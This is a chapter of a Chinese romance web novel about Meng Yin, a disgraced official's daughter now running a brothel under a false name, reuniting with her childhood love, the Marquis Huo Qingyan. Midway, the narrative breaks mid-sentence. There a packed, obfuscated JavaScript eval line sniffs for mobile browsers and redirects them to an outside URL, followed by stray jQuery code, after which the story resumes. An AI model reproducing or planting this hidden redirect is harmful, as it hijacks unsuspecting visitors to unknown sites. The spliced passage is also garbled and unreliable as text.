孟隐曾在心底里描摹过许多次与霍清晏重逢的光景。
她早已记不得情从何起。
只记得她窗外有一颗青梅树,每年夏初,结的果儿格外诱人,她总会吩咐下人摘上几颗。
她身子不好,不能吃生硬的果子,便送给他吃。
他也总是言笑晏晏地咬下一口,笑着告诉她很好吃。
嘉和十八年,她方才及笄,立在长亭中,目送他随镇边的军队远赴西境。
那时她尚且天真,满心满眼地憧憬着军队大破蛮夷,期盼着来日重逢。
她憧憬着,那一日,她会倚在高阁之上,遥望着他凯旋的模样。
那个少年定是像话本中编撰的少年将军一样,身骑白马、意气飞扬。身前是威风凛凛的老定远侯霍济,与当朝的那位英武非凡的长公主,身后,则跟着自己的兄长孟安。
那之后,西境的鸿雁从未间断,他约莫一两个月就会给孟隐寄来一封书信,随着兄长寄回家的家书送到孟府。
信中讲边境的大漠风卷残沙,讲掉队的孤鸿啼血哀鸣,也讲西征的大军连战连捷、大破敌军。
每收到一封书信,孟隐都觉得,离他和哥哥的归期又近了一分。
三年间,信笺已经积攒了厚厚的一叠,当年孟隐年少懵懂,尚分不明男女之情。如今回头重读,却发觉那信中字字滚烫,方才读懂字里行间,皆是少年人掩藏不住的青涩心动,恨不得把边关的日月星辰悉数摘下,塞进信笺中寄给她。
她后来耐不住心痒,悄悄尝了口青梅果,又酸又涩,明明不好吃,舌尖却悄然捉到几分甜来。
可天有不测风云,战场上形式瞬息万变,老侯爷和长公主中了埋伏,以身殉国的死讯传回京城,西征的军队兵败如山倒,损失惨重,大周连丢了两座边城。
命运半分情面也无,年仅十九岁的霍清晏,连为父母的逝世哀悼的机会都没有,就不得不接过父亲手中的帅印,挑起西征军的家国重担,重整旗鼓。
他们的书信往来,从那日起就戛然而止。
或许是他深陷兵戈无暇落笔,毕竟那些时日,就连兄长寄回家的家书都少了许多。
更有可能是千般心绪交织在一处,剪不断、理还乱,落笔时却不知该如何言说。
战场上分秒必争,生死只在瞬息,孟隐纵有万般惦念,提起笔来,墨水从狼毫笔尖滴落,洇湿了书信,终究没能落下一个字。
那份悄然滋生的,令人心痒的懵懂情谊,最终在烽火狼烟中,被时光渐渐冲淡、沉寂。
蒙尘覆雪。
再后来,朝中数名肱股之臣煞有介事地参父亲贪墨,兄长孟安被一连十二道军令从边境急召回京,抄家时竟真从库房中查出一箱箱炫目的金银。
墙倒众人推,就连父亲为边关筹集粮草的举措,也被歪曲成了贪墨的铁证。
没人知道那几箱金银从何而来。
昔日风光的孟家顷刻没落,朱红的大门贴上雪白的封条,连那株青梅树,都因为碍事而被伐倒。
陛下震怒,又感念孟家昔日为国立下的赫赫战功,最终只罢了官,满门流放北境苦寒之地。
她与这位小侯爷也彻底成了云泥之别。
孟隐没能见过塞外如钩的寒月,没能听过边关苍凉的军号,更无从知晓,这六年光阴,霍清晏在那血流漂橹的疆场上,历经了多少次生死、又被磨去了多少少年意气。
眼前的他,与记忆中几乎判若两人,原本白皙的肤色被边关的烈日灼成了小麦色,皮肤也不复少年时的细腻。
他眉眼间凝着化不开的倦色,下巴上覆着一层青黑的胡茬。
物是人非事事休,欲语泪先流。
他们此刻明明咫尺之遥,甚至能看见彼此眼中自己的倒影,两步的距离,竟像是隔着万丈天堑。
霍清晏背脊挺得笔直,目光沉沉落在她的脸上,眼中闪烁着希冀的光,却始终没有先开口。
孟隐垂眸,敛去眼底翻涌的思绪,屈膝道了个标准的万福礼。
“小女子花醉,见过侯爷。”
“花醉……花醉。”
霍清晏反复呢喃咀嚼着这两个字,他伸手扯出了桌旁的椅子,示意孟隐坐下。
他左手的指尖摩挲着青瓷茶杯,杯壁被热茶灼得烫手,他却恍若未觉。
沙哑的嗓音带着几分说不清的叹惋。
“满堂花醉三千客,是个好名字……很适合你。”
孟隐没敢落座。
在商人地位低微的大周国,纵使她名下产业众多,终究脱不开商人身份的桎梏,哪有资格与功高震主的霍清晏平起平坐?
“坐吧。”霍清晏轻轻拍了拍椅面,目光落在他手上缠着的绷带的手心上。
“你……受伤了?”
“劳侯爷关心,都是些皮外伤,不妨事。”
孟隐扯住袖子,将那绷带往袖中藏了藏,应声落座。
她自始至终都不敢去看一眼霍清晏的眼睛。
一来,是怕眼底露出一丝破绽和慌乱被他窥见。
在不知道他的立场之前,她只能是醉春楼的东家花醉,而不该是那个早该在流放途中便零落成泥的孟二小姐。
二来,是为了压下心中那点荒唐的期待。
她竟然在期待霍清晏认出她来。仿佛这样,她就还是那个始终被捧在手掌心的千金之躯,而非背负着满门冤屈,苟延残喘的活死人。
“小女子并非这楼中献艺的姑娘,也不通琴棋、亦不不擅歌舞,若是……怠慢了侯爷,还请您赎罪。”
她垂着睫毛,字字谨慎,更生出几分哀戚来。
“无妨。”霍清晏摆了摆手,用眼神示意红娘子她们一行人离开,几年在边关的磨砺,让他有了几分不怒自威的威严。
红娘子则暗中请示孟隐,直到她微不可察地颔首应允,才躬身带上门。
门阖上发出轻微的叩响,雅间中只余两人的呼吸声,以致于孟隐能听见自己的心跳。
霍清晏微微偏头,目光落在帷幔丝线绣着的纹样,好半晌,才缓缓开口。
“方才听鸨母说,你是这醉春楼的东家。”他喉结滚动,似是恍然。
“啊,前些日子,醉春楼给侯府送过贺礼,恐怕是出于你之手罢。”
孟隐当然记得那份被退回的贺礼,她花了许多心思,什么前朝的文玩字画、西域的琉璃器具、东洋的璀璨明珠。她不清楚霍清晏的喜好,便只能在生母留给她的珍宝中挑些出色的。
可她精心准备的贺礼,最终同百官的贺礼一同,被他原封不动地退了回来。
孟隐该知道的,霍清晏与老侯爷一样,一生两袖清风,刚正不阿,眼里揉不进半点沙子。
可那时,她没有任何手段接近霍清晏,只能病急乱投医,用这最庸俗也不入流的方式,跟风送上贺礼。
“侯爷为大周百姓征战沙场,抛颅洒血,那些只是小女子一些不微不足道的敬意,入不了侯爷的眼。”
“祝贺我凯旋得胜?”
霍清晏低低地笑了两声,听不出喜悲。他依旧没有看她,像是在恐惧什么,也像是在期待什么。
“若是早
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099053|195678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道,那是你的心意,我一定会收下的。”
孟隐心中狠狠咯噔一声,她向来知道,霍清晏从不是一个轻浮孟浪的男子,更不会对一个萍水相逢的女子,说这般暧昧不清的话。
他定然认出了她,或者说,他在试探她。
她不禁自嘲,无非是她在麻痹自己罢了,若是没有认出,以他的身份,何苦到青楼来亲自寻她?
霍清晏对她片刻的失态毫无察觉,自顾自说着。
“可惜我来得仓促,没给你准备什么回礼,而且,我怕你看不上那些金银俗物。”
“侯爷……”孟隐的手指无意识地摩挲着掌心的绷带,伤口略微的刺痛多少让她的大脑更清醒了些。
她是倾向于相信霍清晏至少不会为难她,一来,霍、孟两家是世交,就算霍清晏如今忠于朝廷,也会顾念两家曾经的情谊,不会对她赶尽杀绝。二来,她一个女子,又疾病缠身,在这个世道本就极容易被看轻。
霍清晏无从得知她满腹的怨怼和翻江倒海的筹谋。
为此,她愿意去赌一次。
正好顺水推舟。
若是博得霍清晏的怜悯,往后也好借着这份情分,慢慢去试探他的立场,摸清他的心思。
孟隐悄悄在桌案下,狠狠拧了一把自己腿上的软肉,尖锐的痛感袭来,眼眶霎时红了一圈,几滴温热的、情真意切的眼泪毫无预兆地从脸上滚落。
她捏着锦衣宽大的袖子,泪水在单薄的袖子上洇湿了一块。
“我如今,只是一个苟且偷生的罪人,又有何颜面面对您呢?”
“阿妹!”
这两个字几乎是在瞬间便冲出了霍清晏的喉咙,他伸出手,下意识地想去像孩提时那般攥住她的手腕,指尖都要触碰到她的肌肤时,又意识到此举太过逾矩。
那只手僵在半空,指尖轻颤,显得有些无措,碍于礼法,只好讪讪收回。
“你可知道,方才在楼下遥遥望见你,我只当是我太过悲恸,一时出现了幻觉,这世间怎会有人与你生得八分像?还好……还好你还活着。”
他的声音,出乎意料地带着几分难以掩饰的哽咽。
“你定是受了许多苦,比以前还瘦了许多,阿妹。”
孟隐的大脑飞速运转,心头微微松了口气,看来霍清晏对她还有几分年少时残存的情意。
她本就不是什么惹人艳羡的大家闺秀,她不擅那些阳春白雪的雅艺,生母花容不喜那些花架子,而养父母也从不强迫她学习礼乐,到头来,孟隐唯独对棋艺略通一些皮毛。
再加上去年一场病掏空了她的身子,便是她从父母那继承的绝色容貌,也因为瘦削苍白的病态折损不少。
她能拿得出手的,只有那青梅竹马的旧日情谊而已。
“我侥幸熬过了去岁那场重病。”她以袖掩面轻咳了两声,这身子的孱弱已然不需要伪装。
“或许是托你的福,晏哥哥,连上天都想让我亲眼见见,你凯旋而归的样子。”
孟隐缓缓站起身,情至深处,她自己都分不清到底有几分真情、又是几分假意。
她踱步到窗边,纤纤玉手推开那扇雕花的木窗。
初春的风裹挟着微凉的泥土气,吹拂起她鬓边垂落的乌发,喉头竟然真有些发紧。
“上个月,你返京进宫,被文武百官和满城百姓簇拥着,从这条街上经过,而我就站在这扇窗后,远远望上一眼你的背影。”
她阖上眼,声音轻得几不可闻,却恰巧能字字清晰地落进霍清晏的耳中。“那样,我就已经心满意足了。”